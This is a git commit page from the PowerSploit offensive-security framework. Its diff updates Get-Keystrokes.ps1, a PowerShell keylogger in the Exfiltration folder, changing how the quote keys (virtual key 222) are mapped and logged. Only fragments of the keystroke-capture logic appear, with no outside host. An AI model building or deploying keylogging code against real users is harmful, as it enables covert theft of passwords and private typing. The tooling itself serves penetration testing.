aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration
diff options
context:
space:
mode:
authorJesse Davis <secabstraction@users.noreply.github.com>2016-01-11 09:09:48 -0600
committerJesse Davis <secabstraction@users.noreply.github.com>2016-01-11 09:09:48 -0600
commitd133db696ad364a8387163569325129b0c0b08a3 (patch)
treeda5f5038147ff7e8b11b424a876c884dd931bd2c /Exfiltration
parentef887af9d6b58e7114332a989b15ba4c306ccd83 (diff)
downloadPowerSploit-d133db696ad364a8387163569325129b0c0b08a3.tar.gz
PowerSploit-d133db696ad364a8387163569325129b0c0b08a3.zip
Update Get-Keystrokes.ps1
Diffstat (limited to 'Exfiltration')
-rw-r--r--Exfiltration/Get-Keystrokes.ps18
1 files changed, 4 insertions, 4 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index d78f9c2..cc6b7a9 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -214,7 +214,7 @@ function Get-Keystrokes {
111 { $Key = "/" }
}
}
- elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 221)) {
+ elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
if ($Shift) {
switch ($vKey.value__) { # Shiftable characters
48 { $Key = ')' }
@@ -237,7 +237,7 @@ function Get-Keystrokes {
219 { $Key = '{' }
220 { $Key = '|' }
221 { $Key = '}' }
- 222 { $Key = '"' }
+ 222 { $Key = '<Double Quotes>' }
}
}
else {
@@ -262,7 +262,7 @@ function Get-Keystrokes {
219 { $Key = '[' }
220 { $Key = '\' }
221 { $Key = ']' }
- 222 { $Key = "`'" }
+ 222 { $Key = '<Single Quote>' }
}
}
}
@@ -369,4 +369,4 @@ function Get-Keystrokes {
[void]$PowerShell.BeginInvoke()
if ($Return.IsPresent) { return $PowerShell }
-} \ No newline at end of file
+}